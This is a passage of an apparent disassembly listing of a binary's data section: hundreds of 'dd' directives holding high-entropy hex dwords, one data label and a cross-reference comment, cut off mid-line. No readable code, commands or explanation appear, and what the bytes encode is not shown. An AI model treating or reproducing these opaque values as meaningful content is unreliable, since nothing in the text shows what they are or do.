0CCA82345h dd 0BC6BDE1Ch, 9A0B8700h, 1D0C55h, 0F72829E2h, 0BE486E82h dd 0C6007977h, 8A719A57h, 0C2F10Eh, 2C0F15BDh, 0C727CB58h dd 0A728CD01h, 0A6F03331h, 0A99FF0h, 56320AFDh, 3E645B17h dd 7100807Fh, 3B453CEDh, 4BF2268h, 5A6BACFh, 5B03FEBDh dd 80C3605Ch, 10CEB3h dd 0F00C6131h, 1AF2ED13h, 0F46072F4h, 52D82C98h, 2ADE0307h dd 40C51B6Dh, 0D48369E0h, 0AE371607h, 0F0DC6821h, 2203009Dh dd 5D31A0DAh, 84A02FD6h, 0EC01C48Eh, 45856095h, 2C40892Bh dd 80D62A16h, 840F87h, 95A918ACh, 2617421h, 4AD6E88h, 125D366Bh dd 9F042794h, 21FF7F44h, 231188EAh, 763C08F1h, 60B0C296h dd 0BE21030Dh, 0EE02A7F3h, 88940C18h, 25020943h, 0E2D82D5Ah dd 0E1AF2278h, 4023D010h, 0DD50CCABh, 0F630162Ch, 788AB055h dd 0A848886Dh, 60B72840h, 704958DBh, 38CFA07Eh, 9717C082h dd 14110Ah, 0BB06E15Fh, 2696086Dh, 69A27800h, 88532AC4h dd 35D107B8h, 4031AE05h, 0E2A8F69Ah, 44B448h, 45DEF569h dd 0C1AEAAC4h, 9D3D43C8h, 7C88807Dh, 0E564874Ah, 2A410037h dd 0E4A7E2E1h, 4D0114A8h, 11852905h, 0C8607510h, 60013E95h dd 4B7ADA80h, 0CC921F22h, 0D4B20600h, 35BAF6B7h, 625A0019h dd 16240AB8h, 9A0EC654h, 8ABBE844h, 0F080F8B9h, 7D515E07h dd 0A5BA00F5h, 0A3554CCh, 6600E4ADh, 500EBD36h, 22ADF47h dd 67D4C3CEh, 2C406E59h, 0CD001E22h, 86220A4h, 0F96CAF65h dd 0A0C503D0h, 3CBF539Ch, 0EA0E43C3h, 6D208F96h, 8C5C213Ah dd 0DA85B800h, 11F6AE3Ch, 0B7031EC3h, 5049064Ah, 0E9586081h dd 5A6D1F2Ah, 1138BA41h, 30D0C98Fh, 0BF98A07Fh, 0CAED03BBh dd 0DC377098h, 27BD5FE0h, 60802A30h, 763D45Dh, 94AF16F6h dd 8013656Ch, 936EFFF2h, 0F150E600h, 0A17CF751h, 699A186Dh dd 1FD028AAh, 624E1E01h, 2ACAF130h, 0C2D002E5h, 0E120C0C0h dd 0A19E16B6h, 6403DF98h, 2DDA0F80h, 9F6800B1h, 6CAA5BFBh dd 81001AB0h, 8C93D1E7h, 0CF608Fh, 911227A2h, 0FCB50986h dd 83E7BC00h, 0F19B8CA6h, 3C6E07E6h, 90E823F6h, 7DFA35B5h dd 67440E00h, 0B859F1D2h, 398400CCh, 6A78EB49h, 5701C03Ch dd 3730C9Bh, 74C46F01h, 0D0850079h, 96B86975h, 0DF006368h dd 0AAEBE6C1h, 3BEEDC35h, 1D8033D6h, 0F8E7175Fh, 4DF8C796h dd 433EBC07h, 4260B8C2h, 17D60D6Fh, 9AD805h, 4BCD0430h dd 48DDCC3Dh, 61E5F540h, 3EF742h, 488D36B7h, 0F6DA5EB0h dd 0E69BAF00h, 459DDD02h, 0F40A3F94h, 7C8ED200h, 9E0BC753h dd 22AA360Eh, 0CBBAE18Ah, 4FF4167Ah, 33AE00EBh, 3CD5236Ah dd 45000637h, 1AE2C76Ch, 6BFD91h, 571EE515h, 0AF5854B7h dd 0F410E3Ah, 83FCD171h, 0FF68E72Fh, 0AC9A81C0h, 0AAE42665h dd 0EEA40790h, 0A364C73Bh, 5D80E28Fh, 0EA1ED048h, 74AD16FCh dd 0CF5000E9h, 1FA0CC7Dh, 758A1300h, 0DC236BE0h, 36EB0015h dd 4E3F7EF0h, 10003364h, 0AF5A8CAAh, 12A3ABh, 6BFBD81Dh dd 1A45C3A2h, 900E6FF0h, 47194ECDh, 0E070B4F5h, 0DD05C8h dd 0B0FCB46h, 0DC175470h, 4AFBAF0h, 0B9EF4BE0h, 2EF811h dd 9742882Dh, 568E5101h, 5ECBA01h, 0C991376Bh, 0FFC0DDD9h dd 2AD4312Eh, 72F1529h, 528FC000h, 77DC0038h, 24AA810Bh dd 0F4039940h, 51D22767h, 0D144B869h, 3B3D1CA6h, 7FB98015h dd 0C826F087h, 0E8BCDA1Fh, 4A3AE240h, 7D442Fh, 53B0305Dh dd 57542A3Eh, 74000E74h, 1746EE26h, 0A9326Eh, 36F996C8h dd 40161B4Ah, 87478539h, 0E63A27FAh, 954D9900h, 1182078Ch dd 0C5D26Bh, 6EC17AE7h, 0DD26FE09h, 9C210122h, 13F0D3CDh dd 20AB38E9h, 0EA80007Fh, 50B5E527h, 777DD917h, 9CCEB200h dd 75942EB1h, 2FDC1D21h, 34D6C0C7h, 387D0E19h, 5B0FA700h dd 1403B8C1h, 4F9C0009h, 946B96CEh, 1E03E16Ah, 8FDF2F27h dd 9E95E0F5h, 0A5DB000Bh, 256E67FBh, 7D07278Dh, 0B7EEE7D2h dd 0A67F1D20h, 9F7F2Fh, 93D8D357h, 2D4B4ABh, 0BF004FE2h dd 0A33DFBDDh, 3CC26C50h, 648078D7h, 0CE8ACF1Ch, 0ADFAAF09h dd 0F11FE174h, 75402F56h, 6E890780h, 47920712h, 0B09CA109h dd 2CC93751h, 6C002AE4h, 4961947Ch, 1A14889h, 1E123FAFh dd 0D39B5532h, 0C60A09B0h, 0D0074DF0h, 0E16FC33Ah, 781C200h dd 1BE7004Ah, 0A7CCED9Ah, 2A077924h, 2140F35Ch, 0EC9A0DEh dd 168E148h, 9CDC3D4Eh, 0CFC28C39h, 5706EDD8h, 21F22600h dd 671BF91Ch, 986EE8F5h, 0EB6C0037h, 76DDB2A0h, 1C006FC4h dd 0E0268DE5h, 3E5D2B6Dh, 0D7137383h, 7700BE18h, 7FE7A8FBh dd 0CBBF0075h, 0CF6D3595h, 0EE7CF667h, 5666E100h, 145CAC5Ah dd 8B610025h, 9AF83529h, 770097D8h, 3EDBDD3Ah, 3955698h dd 8B2938B0h, 0E28743E8h, 0A040C555h, 0CD0065FCh, 821B7497h dd 0E0B56A22h, 489E0EB1h, 9860B0E7h, 0B9315A3Dh, 0BC0B1A01h dd 0D4691FDAh, 558AD4h, 8D6782A1h, 0F5F68025h, 0B502A300h dd 0C1C7830Eh, 795100CEh, 0D4785CA5h, 7000D641h, 775EE9E8h dd 9CD98h, 5FF2D8EBh, 84496CC4h, 0A153820Fh, 1B6BC0E2h dd 85C014h, 57A4DFF9h, 70B29211h, 3F20A900h, 587666E7h dd 65E3044Ch, 0C01FD883h, 4593AB10h, 0D5F05F0Eh, 0EEFFA0B8h dd 0C8F65Eh, 0DBD9377Dh, 8B15582Fh, 0A634ED00h, 94A7E905h dd 80060357h, 0C9D6B4F1h, 0F77EBA07h, 0DDD0F5E1h, 77B85Bh dd 36B91AA5h, 95F46599h, 38BC7600h, 501C3724h, 0FFF500D0h dd 700CB219h, 303F3301h, 20940081h, 66A8D82h, 64D71790h dd 16660045h, 0F46198A3h, 0EAD5DF00h, 1572A54Fh, 64F03D3Ch dd 4CBD8C80h, 0C9A19706h, 5417AF00h, 4A4BC244h, 0B1CC0132h dd 638D020Ah, 0ABA870ECh, 35699809h, 0EBF30086h, 0A79AE2h dd 0D81BEE6Eh, 3A8B9314h, 7576700h, 0DCD6CA04h, 0C4A61920h dd 3044A4CEh, 0C507A1D8h, 0C2E16007h, 0B1F29A40h, 0FFD70079h dd 6C2DFCB9h, 43DA8CCh, 229980D0h, 31B61AE8h, 71630E94h dd 922E2AEh, 9460C4C8h, 0F0038684h, 2F2BBA23h, 6332D07Eh dd 9A830082h, 1735332Dh, 0E300FFE1h, 62CA21C7h, 58EFA955h dd 841E34D1h, 78C800EEh, 0C423EAC6h, 0D5E18A26h, 66BA0A01h dd 0F0FFDD06h, 7DE04Ah, 195ED09Eh, 36702940h, 0FD010892h dd 2C3DF392h, 0D9DCE10Dh, 5EE00E71h, 0E3641361h, 7D12EB36h dd 0FE789C00h, 9BD487h, 9EDB7570h, 0AA3D60E4h, 92C11D00h dd 78BB37A9h, 6E2600D7h, 0DC153A8Dh, 0B5011741h, 0FF7AC7F1h dd 402096A0h, 0AAAB0097h, 2D529B78h, 6B004DFBh, 38509992h dd 0FD7E40h, 0A63A0579h, 54FA8CEFh, 37DC040Ah, 5C00D0FBh dd 36C6BE1Ch, 0AFF40340h, 0BF724D58h, 309653D1h, 8B091484h dd 8E6BB0h, 2826DA2Ch, 67CB1882h, 6325F82Ah, 0B8409803h dd 0E0BC7B42h, 5670F3h, 0B9F623A8h, 5AEE9EEAh, 0C445D900h dd 34162FF0h, 4A841EA9h, 42CC8090h, 1D7EEF79h, 0F1323712h dd 0E343C51Eh, 0D8B7C930h, 1B1702Ah, 4135C79Fh, 0DC9274E9h dd 0DC589A66h, 466200CBh, 0EF9CF0E4h, 0BA18003Fh, 26CC04DFh dd 75059F78h, 0D7B0DA09h, 1E4ED45Eh, 0D32900EEh, 301156h dd 9A8A4910h, 0BC39A473h, 8027C23Eh, 65A86C03h, 0B0DEFFh dd 6AB827Fh, 0C4408E2Eh, 0E9D88500h, 0F04D8310h, 58994851h dd 0E8BE0E76h, 854BABE6h, 20174C80h, 0B94C08BBh, 7ED6070Ah dd 3843DCBFh, 0A29FF9E4h, 1883B820h, 0A011EE35h, 29005A6Dh dd 287FD764h, 0E4AF5DA6h, 21906FD5h, 0F8048C0h, 0BE009B36h dd 327074C0h, 4817163Bh, 3103F4E7h, 5F369230h, 57420CD8h dd 0A04AA700h, 0E8B49FD1h, 0BE1900BCh, 7A9D7452h, 0AD0037B0h dd 8102CD4Eh, 0F964091h, 60DBF24h, 758CDDC3h, 8701487Eh dd 5BE8A728h dd 4850D8B2h, 400E5A5Fh, 0F71FE0FEh, 803A4989h, 0C155804Dh dd 0FA5B44h, 43A33B76h, 41753753h, 0FB21C800h, 8A77E612h dd 0D01D54B1h, 7FD675BCh, 24310076h, 0E9E76AEAh, 9C00A989h dd 0B4790308h, 1E1C587Bh, 93BA924Eh, 4F281DCDh, 0F6407CF8h dd 379DBB44h, 0B82D2F00h, 3FDD5912h, 72980045h, 0DC820B9Ch dd 8E000A47h, 17541393h, 718CCF4Dh, 0C84801FFh, 39F3BBAAh dd 580AD3B7h, 0E8FA9BAEh, 1C5F4CBEh, 6180718Eh, 0BFE82991h dd 0BE75002Ch, 35EB43F4h, 0F318BCF0h, 0D2474CCh, 3EAB004Ch dd 7D4296E6h, 0E7F20690h, 114051C1h, 17C0E59Ah, 537510h dd 0B5321665h, 778B1AD9h, 0B1C73C00h, 5575F1A3h, 0F6710035h dd 7460494Ah, 392AD710h, 31718001h, 0D42ACB1Dh, 956483C3h dd 6A82D04Eh, 62B12594h, 1AE6C21h, 5C818041h, 0E4757612h dd 212A610Dh, 0D424A414h, 222A2C71h, 3300F4AAh, 6E75519h dd 502B4ACFh, 7AEED8FAh, 65213CF6h, 0D70CC900h, 0D28FAA34h dd 8798253Ch, 0C3E3A878h, 4B12180h, 9C55072Bh, 46890349h dd 0B80021CAh, 3EA6165Dh, 0FE6335FFh, 9DCF00E2h, 8D0C5EC9h dd 450FF7B2h, 0A05D584Fh, 0FA78DE35h, 277C0Bh, 4620D76h dd 0ED9D43C8h, 0BBE4951Ch, 387E44C7h, 0B390AB90h, 0DF770E1Ch dd 0E4E0A7CDh, 7966BACh, 7E66A000h, 0E5F7A69Bh, 0C160DC52h dd 0BF0463E4h, 0A0A6DFA7h, 8F60E18h, 0F678191h, 40800FFEh dd 8518B7A0h, 90905D56h, 37776102h, 97D1704Dh, 77350880h dd 20CFF760h, 14A91D13h, 0E788C041h, 84187091h, 0E9B32300h dd 518D81C4h, 0B8460086h, 0E698CF44h, 0F60094ACh, 75DD0EB3h dd 2C72E115h, 5DA504h, 0FBCE40C2h, 790005E7h, 368FCB33h dd 0E39345h, 0EB50296Eh, 6C349B43h, 9F9C6900h, 6BE5EA25h dd 6E3A00BEh, 0BA2B5E4Ah, 0E307C962h, 678FE6C5h, 483BAFC0h dd 104F0094h, 574959DCh, 900AD05h, 0CC971744h, 0F09AF85Ah dd 7B2100F1h, 1384E05Fh, 0B9001B4Eh, 5C542ABDh, 0D9A3AEh dd 0BAAE434h, 502D751Ah, 16FD3100h, 77657471h, 0D5D200D8h dd 478D6B78h, 85002F82h, 90C150DDh, 2E896034h, 0A8E9D6h dd 772805B1h, 0BA000920h, 0D2C7385Ah, 39611415h, 6D801FA7h dd 0EE88750Fh, 31000960h, 0D4CA35BBh, 2D566Ch, 5BF8EA90h dd 0AA6080B0h, 0D2C8ED01h, 112B627Bh, 0F943F4h, 76674CB4h dd 9065139Fh, 0F589FB00h, 0BA9EAA3Fh, 0A21B3818h, 7527D380h dd 721038D5h, 11B1D750h, 0FF71521Eh, 0E2A1768Eh, 0C0E27C1Ah dd 1FAE488Dh, 26E8CB74h, 278600F9h, 0FAC9F73h, 7EC28F00h dd 7C65293Dh, 5D5000FBh, 33521E0h, 8B54191Dh, 800A9B80h dd 8CC99052h, 9415A907h, 34C58CC0h, 70EFE91h, 4C446D2Dh dd 648BC0C0h, 81007586h, 61F7BCEBh, 3C60E0EEh, 0A8078AEAh dd 93630C1Dh, 27A8DF07h, 0CA006AF2h, 2C394D7Ch, 55219Eh dd 0B787DB97h, 0D76896AFh, 0D38C5A03h, 0E0B46B6Ch, 1C9BB63h dd 0B33B1E9Dh, 0D11B2DE2h, 521DF44Fh, 2A9B4000h, 0E0B792FEh dd 0DB4C1D7Eh, 841CC00Ah, 0E267FC5Ch, 0C1061E0Fh, 695BC0CEh dd 15E2426h, 46D0B499h, 80710467h, 5D32BD18h, 3BB66Ah dd 9A5E2AF9h, 841EAF30h, 0D769810Fh, 0BD42004Eh, 0F059D92h dd 0C34B6059h, 8D801929h, 6C3D362Dh, 0CB254E00h, 9B526B64h dd 88FD0FDFh, 9D80BFCFh, 0EA8A8613h, 0F6617B07h, 26C0DED5h dd 1C0465FFh, 1F39B8D0h, 307900EFh, 755B4E64h, 73DB43Ah dd 8CD90221h, 80EBBA77h, 96E7A736h, 1C9F004Ah, 0E5D1098Fh dd 0D37D7388h, 29F2B9A0h, 0C1472614h, 51C60088h, 0D684B438h dd 0E82B004Eh, 69599EE7h, 743E135Dh, 0C7F00317h, 0C17522A5h dd 0F8CB6458h, 63A3A8h, 3A7E9A48h, 2D6D92CBh, 8DF31801h dd 2C40B5D3h, 81A50881h, 0EC07E54Eh, 0BB002560h, 5A84193Eh dd 0E1176Fh, 0C56A18Ch, 0D187E4C0h, 4BB8F100h, 342516EDh dd 89DF0CB4h, 4318F37Dh, 1D14A200h, 508E5674h, 2A260033h dd 0E91A7544h, 30003E76h, 4E70D160h, 7D3DEAEh, 0E8C55AD2h dd 0EEFA043h, 7600B40Ch, 4D2A6846h, 7D492C64h, 0A85A00CBh dd 0A153E55Fh, 0D7008C7Fh, 372D0CA7h, 5B2C27h, 29D63A96h dd 436B38D8h, 0C28CAD00h, 0FF930865h, 3A3E0006h, 1FBAE403h dd 0E1007E01h, 599DFEB3h, 244289D4h, 0EB8AA9h, 0D627F658h dd 7D14B4B2h, 149940F9h, 0B02038CCh, 869B0DD0h, 0EF805000h dd 6CE42F98h, 51473943h, 0CE9A6983h, 0B4006111h, 0BDF127B9h dd 0B975334h, 0FE5FEB2h, 0C25FFA00h, 8300F72Ch, 0BF1BD53Bh dd 382DDB9Ah, 938FF003h, 10009869h, 0D52BE933h, 80ADEB3Eh dd 0A485FD7Dh, 3B16E564h, 988007D3h, 5D5550B2h, 0B0171B92h dd 0E3002886h, 0E5634060h, 0EBD90A38h, 0A425C4h, 6294BF39h dd 1DE81C5Bh, 5458E465h, 1F9CAF80h, 0BA4D008Ch, 0B4A1C651h dd 0ED0F7012h, 0A7C76390h, 0A9B05B41h, 7AD1C2Bh, 0CEF8E23h dd 0E313A14Dh, 1F805CD0h, 6FD1B701h, 4ECC34ABh, 77AD010Eh dd 3B64FB18h, 142372D8h, 0F03967EBh, 52215400h, 90619AA1h dd 0E70C4600h, 0E8DB5B8Dh, 0ECF001A9h, 0DAFF12D9h, 9AC8CBC8h dd 0DF28EE1Dh, 5E00A0E3h, 0AB89429Fh, 74727B0Ah, 5DC0E8Dh dd 934056E9h, 85A6155Bh, 0D0A8F614h, 0AA2BB020h, 0DBF81060h dd 0FF940573h, 37C0AC3Dh, 11F07CAh, 2AE64957h, 41AA45F0h dd 0F0ABFED0h, 4100CFDFh, 49A96842h, 0A46D6BD5h, 0C36600C8h dd 0A7DCCE28h, 790FF82Eh, 8FAD92h, 0FF2A9594h, 0B8EE42Dh dd 7D03CB9Ah, 87641103h, 0E97582B0h, 2BEF0A01h, 1153E2C1h dd 0BEAFE03Eh, 0A2263800h, 0D665C80Bh, 6E9C4810h, 16932Ch dd 0B10E3647h, 8D4C7E97h, 68A801CDh, 24DD58A5h, 23C8FCh dd 27645DFEh, 0F969ADE6h, 1D169900h, 6F3DFDDEh, 97C00EF0h dd 40BFA752h, 0BFD2D15Dh, 0B67B3784h, 489C48h, 59D844E9h dd 3161BD7h, 9A0DA8D1h, 0BAA8A6C6h, 5574373Eh, 2FBFC218h dd 80A49838h, 0DA00D21Dh, 0E33139A5h, 186FCBD8h, 468865B8h dd 80A0B282h, 8C3A36Dh, 8770C2E5h, 0F74D4CC0h, 0F04B5E17h dd 3600AEE4h, 0C908AFE4h, 0CA4790Ah, 98316C38h, 0B501E518h dd 0D035334Ch, 6F303764h, 0BFCC05ACh, 0C0E0BE50h, 0A2E5AA73h dd 656AB51Ch, 0B0FBB40h, 56951FDh, 6E9E18Ch, 4C85C76Dh dd 990112EEh, 1E787D81h, 69F49BC2h, 31E800F7h, 0F4D1AC3Fh dd 9701E5F5h, 0BB1F812Eh, 18C71142h, 0A1092798h, 8000781Eh dd 45B649F3h, 0E4315Ah, 4E0169F4h, 59B9195Dh, 173C2424h dd 0E34C2900h, 16DFA3DEh, 0EDBB328h, 27E74F5h, 0BE1E3F7Fh dd 0EC4794C1h, 0BB3C7310h, 1107000Ah, 0EF608E2Eh, 516A07D0h dd 0B04E5B6Dh, 0DFCE31F2h, 0D82F5005h, 7E8362C7h, 983C83D9h dd 94F2EAh, 0E423904Ch, 534BE095h, 80B2C500h, 8958DAC2h dd 2F9903DEh, 46D329C8h, 8D03F5B8h, 0A4FCA60Eh, 3E5040BFh dd 60421Ch, 876138Bh, 8E126A04h, 45996800h, 6C5180BDh dd 0C9360EB8h, 0BC015621h, 0E4F43406h, 15009894h, 0A846FD31h dd 161E97h, 8E3DB29Dh, 0EE90B86Dh, 0E5731200h, 2D7E75B7h dd 0F7E800EAh, 44033965h, 1CBA2FBDh, 60018478h, 0B810EB7Dh dd 6EF00B81h, 7530062h, 1D35C2C7h, 91345E6h, 2A00A822h dd 48375FD1h, 75AB00EDh, 8D47B208h, 57035220h, 4CE7AABEh dd 3C59D0EBh, 8EB300B0h, 0CBA61940h, 8C001B78h, 0E7ADF7E9h dd 3F8F2FA2h, 0B70CF574h dd 0A831E66Eh, 77E9D800h, 1C09995Ch, 43393E44h, 1D832B00h dd 0E3C7C510h, 0DC683F2Ch, 753C3502h, 47A61C8h, 1FBC1080h dd 0FD5EA656h, 229D100h, 0AC5C09C1h, 317601E8h, 0B3BD8C04h dd 40E5CB48h, 2CDF2124h, 0C6005597h, 7B6329E2h, 0A1F8534h dd 0F7F3BD84h, 0EE686C18h, 616BFB0Ah, 250118DEh, 0D3BDBA5Eh dd 0D460610Ah, 0C51851DDh, 0BD859001h, 0E3C08753h, 37230E1Ch dd 0F365006Ah, 8894FCFFh, 84E3C023h, 60486CACh, 29399E05h dd 4060D175h, 0FD0AF51Eh, 1DA508FFh, 69FC9CB1h, 0FB544230h dd 76F4538h, 0D213B222h, 5BD34078h, 711476D7h, 2BE833A7h dd 0E6853C48h, 24204AF2h, 0A0BD96E5h, 0EAB8BC9Ch, 440A573h dd 528DD234h, 6F283C00h, 551506h, 2B1F84F8h, 5DD364B4h dd 72B11600h, 3D2738D6h, 31CA6033h, 0B347AA4Fh, 4B585Ch dd 8FC1385Ah, 7566F89Eh, 409818F0h, 0CC5184Ah, 2C58552Ah dd 707BC400h, 8E47D910h, 0CF7212A4h, 367A0765h, 774880F8h dd 940F4F4Eh, 0CBAEF04Ah, 39CA8C3Ah, 0D91904D3h, 30BBB492h dd 222518h, 344FCE62h, 70FB4D93h, 71624C43h, 38307852h dd 0BC050025h, 5034462Fh, 1507358Fh, 12F22E8Dh, 0A039EE40h dd 992F3CBEh, 778E6580h, 6D501C59h, 15767E3Ch, 845051D9h dd 58718331h, 0FBCE0DAh, 73F4A607h, 3AE4AD4Eh, 0B4693770h dd 0D09C21h, 0BCEA3378h, 8CA00B8Fh, 0A8C93AAEh, 854A8F6Fh dd 9401E8AFh, 767DF2D0h, 90842C5Dh, 61CB55A9h, 0F8802898h dd 8D3C884Fh, 50DE098Eh, 8FF09018h, 0BD9C0779h, 409DB6CFh dd 7342920Fh, 2D81CE1Dh, 8EAC6E07h, 0B8770E82h, 0A4CC2764h dd 0F2970EB4h, 5B8AC1EFh, 708418ECh, 9365160Eh, 881EAF68h dd 942F030Eh, 2253B1A8h, 6003ABD0h, 0B6A510ACh, 0D30275AFh dd 0F398379Fh, 48449442h, 5C1878D2h, 92B8280Ah, 0AF566309h dd 0B20C38B7h, 0B38719B4h, 0F4D828A2h, 0E3162C6h, 0D76F30A5h dd 98A3484Ch, 9E1E3085h, 1124F830h, 0F4AE6204h, 7F2C5330h dd 0A27AEB11h, 1561809h, 0D40E001Ch, 9ADD936Fh, 57115028h dd 0F5001462h, 0BF108192h, 5873379Dh, 0B8CFA8C5h, 0F24D6C30h dd 1C7973ACh, 8578379Ch, 822E62FFh, 54B84F4Ch, 3B788A0Ch dd 98300562h, 1809E74h, 0E6FCA7F5h, 9836AD10h, 0BC58A976h dd 856EE825h, 499D2B01h, 0D800A305h, 4F71585Eh, 0E300C60h dd 0A6590C4h, 73E82E4Eh, 64ACE020h, 360D145h, 72B3F870h dd 0FB30031Ah, 9B0F4F13h, 2F8E3804h, 18CB48FCh, 0A6802203h dd 40096C3Ch, 85275418h, 0F406E514h, 291067AEh, 9F1CB1EEh dd 62E8DD7Dh, 297A3831h, 78A90FF7h, 4B784038h, 31C197B8h dd 6421CD58h, 4AC06822h, 0A427A550h, 622FCCA8h, 300410A4h dd 0A74B9BDAh, 84A09804h, 6DC1EE30h, 60227016h, 4B234380h dd 42055D7Ah, 5AC5B805h, 0AF6DC38h, 0E0EBDA3Eh, 0D695BAC4h dd 6DC05062h, 13217A6Bh, 5220F880h, 0B781285Dh, 0CA441207h dd 38E11801h, 994AC420h, 0D168E3C0h, 91941EF0h, 35380500h dd 0ABAE6528h, 0EE6F1861h, 0C0CE0818h, 0AFB07509h, 0CF488014h dd 381C6E8Ah, 3778E690h, 0C008310Fh, 0D048D201h, 206BF033h dd 4A290073h, 313B3806h, 5B1E499Ah, 9B063F9Ch, 4018E9D4h dd 9D63DB74h, 0AF3EEE80h, 0F6D1BB81h, 7E72420h, 1A0F5429h dd 20907D9Ah, 91262F84h, 3D0C90B4h, 9A36109Fh, 231C3188h dd 0F156A0C8h, 0BE90F38Fh, 0C898324Fh, 0CC82CE26h, 0A42F798Ch dd 38AD58F2h, 2E40E431h, 2603466h, 0D01A6100h, 0AE767901h dd 0FCFB4C6Bh, 0E629B230h, 19756FCFh, 63D908C3h, 9A99C018h dd 38F1802Bh, 11BB2D0Fh, 1DB984F6h, 28021906h, 69ED938h dd 70C1B2Dh, 0E7A63E08h, 0F0B1793Ch, 0E0195320h, 3C8880F9h dd 61FBE8B6h, 0E3BB1058h, 19688C9Bh, 0C00428E2h, 0B4503908h dd 0CC338E5Fh, 7CC4303Dh, 78B76190h, 9840A819h, 3B20CA30h dd 30337C7Ch, 0B940FC59h, 10C61E29h, 49389375h, 81C0ACB0h dd 18FF0F55h, 582A3490h, 7D03DC7Eh, 862FB077h, 0E54801CCh dd 0BEFB174Eh, 0FA8BA88h, 0EA5B2D02h, 0E594848Ah, 33A442D4h dd 0D8F9A88Bh, 207B175Bh, 465018D2h, 0E262799Ch, 4ED8B928h dd 467A3F7Ch, 8064BF24h, 48272478h, 0D0600B50h, 0BEA5FD08h dd 8F248EFh, 0DAB0CC48h, 4620597Ah, 0D39807D4h, 89104A97h dd 50F0002Ah, 0AF088EA0h, 1745CA8Ah, 4F08049Bh, 0DB74809Eh dd 4901A30Ch, 54285DFBh, 0B060F68Fh, 0C199FA6Eh, 4F6A0318h dd 32FC62Fh, 7DB04ACAh, 916624A1h, 49060B64h, 3F54D001h dd 20A0D18Dh, 0D9060FC0h, 1CAE8E9Dh, 970E3820h, 0D8AF017Ch dd 0B970181Eh, 78488C57h, 928298C1h, 1F2428E0h, 318BE7B8h dd 0F80E669Ch, 14D0C34Ah, 790CB8B8h, 2810F02Bh, 0A5C01D50h dd 0DDB7E740h, 237C0118h, 24BA2FE6h, 0F8A38850h, 6C4846E2h dd 0F4A03A20h, 513CC3A6h, 8F6CB94Fh, 390318Fh, 0D871300Fh dd 0B885EBEFh, 0D2F03C9Ch, 69E7007Ch, 0CB63CF54h, 2D288F51h dd 1B02F8E5h, 6D597257h, 9E6C41EDh, 0C8BF50BEh, 306808E0h dd 94030F50h, 5B2F51BAh, 0DFAFA084h, 8958CC03h, 0A667EF88h dd 308CCF80h, 0FD56026Fh, 1EDE0E5Fh, 1A8B4240h, 0DF1690A0h dd 0CDEE730Fh, 0D4031D2Eh, 9AFB0335h, 604860B2h, 90B0E7h dd 904839DCh, 5016BB0Eh, 1A772603h, 1D8A78B0h, 8769D448h dd 81F5F36Eh, 8C956BCEh, 48B56F38h, 0B42D4879h, 20A05C4Ch dd 55EE3815h, 0D81E20B0h, 264316h, 0B9725401h, 982031D2h dd 0F0876EC4h, 0F4031609h, 10AAAAF4h, 8C019CC5h, 0D01F3934h dd 24F85820h, 1854106Ah, 2D994869h, 8CA54C9Ah, 0B06431Eh dd 38C888h, 3A67EA18h, 3321B3Bh, 0C3F77B18h, 984B79C0h dd 0EC645098h, 8CB9580Fh, 4BE8B016h, 0C48077ECh, 566E952Fh dd 18060F37h, 6F004069h, 4838B8DBh, 37A0B4AEh, 9C2069DFh dd 1D3874C9h, 563048FFh, 10800F7h, 0FD0E8D10h, 261C3F5Ch dd 9B04B85Eh, 90C04B2Eh, 5177955h, 754EAAD0h, 0F37060CEh dd 8F032484h, 0D08B2C5Eh, 187CA895h, 0ABE02E44h, 0C4F103BCh dd 0D8D8299Bh, 2D740ABBh, 0D644FB00h, 0B14F5BD7h, 307B00E0h dd 9CBBB99Dh, 9B1DB3B2h, 73C59AEh, 0FBE06EA7h, 5BE34D70h dd 0A5DA126Ch, 0F72C80B6h, 920F8004h, 830BC8D7h, 0A0A7E9F6h dd 0F030EB36h, 0A28B3E76h, 0BC349603h, 3DDBFBB9h, 0F0BB56E0h dd 3C00D978h, 0C3D76DC9h, 0B9A1AAh, 0FF13876Ah, 0B08B299Ah dd 0FBC81660h, 3D87FD9h, 0ACC8CC9Bh, 0C1979A3Bh, 877CDFDBh dd 0E293BAE8h, 0E0698580h, 0B080619Bh, 0F426133Bh, 246F58D7h dd 0ABE86008h, 0EA8287Bh, 59F25BD6h, 9D3BB81h, 4C39E1C5h dd 73087948h, 9320A4h, 7C0A8990h, 14A66278h, 333B6416h dd 25071B01h, 99809169h, 7BD82A16h, 0AC00D5E6h, 0D61C87DBh dd 98EB66FBh, 0B022020Bh, 0F8F29584h, 0FE103E61h, 85E37540h dd 0F0778F0h, 9C957A0Dh, 23B90EB0h, 0D7420757h, 0C0EF868Fh dd 0A7C6FF3Bh, 54DACB0Ch, 314690B5h, 0B808E2D8h, 861C4CC2h dd 0A0442C3Ch, 0C2472032h, 48953Ah, 7FBE7577h, 3E671584h dd 4430836Ah, 4CFFE7A1h, 8199F518h, 718D508h, 16CA7583h dd 2839705Ah, 171F354Dh, 0F00854A3h, 0BE7C1EE4h, 0CCD69500h dd 465DB55Ah, 6DF5810Eh, 0C5079F42h, 47868235h, 7C67EC68h dd 48753789h, 5026C320h, 2507CFC7h, 73858383h, 1F7184A7h dd 9C63D60Ah, 650DC520h dd 80A4055h, 8802A31h, 0D57504B8h, 8CA0FB68h, 35F8111Ah dd 66F56E03h, 0A09AC4B5h, 0F80FEE55h, 56DA0315h, 5A84D578h dd 0CE421888h, 8C4FA4A1h, 38A1DF49h, 0FC41CC9Ch, 507CA571h dd 63A2750Fh, 709AC678h, 5E0C3C18h, 124F350Fh, 0FBC1587h dd 9C36B581h, 0BAA88076h, 64E4355Ah, 50C5E84Ch, 78FDA890h dd 0B095176Eh, 93BA0053h, 36B62E02h, 1600D878h, 0F55A419Dh dd 394C66E9h, 307485B5h, 9548E215h, 0A383BF19h, 9F803FCh dd 1359337Dh, 37B81018h, 6D41520h, 0C7554CCDh, 883148B7h dd 0DD3E40B2h, 99695301h, 0B940CE10h, 0F846C486h, 0A13C4957h dd 200E7BA0h, 0E763B8Dh, 0F3168642h, 2AF60108h, 0B7D577EAh dd 0F3020EFh, 0F57AC400h, 162E0174h, 80A664A4h, 60549CC3h dd 5DED7F08h dword_4E414C dd 0E8E7012Eh, 22754D37h, 26D08084h, 2CC34Bh, 0AB87C6FAh ; DATA XREF: ___:off_42DE44o dd 11555A6Dh, 56712DEAh, 31289348h, 0B9F6107Ah, 50D53420h dd 4855E4AFh, 181F940Eh, 5E8B107h, 99D8816Eh, 2FB577F4h dd 60C008A9h, 0B22EB0A9h, 27781F65h, 1458C914h, 0A881845h dd 18100382h, 4111FD81h, 0D09E317Fh, 840440C7h, 4669A975h dd 30999829h, 4B3AB380h, 1FE6D6Bh, 0FAD667C6h, 2074D579h dd 53245590h, 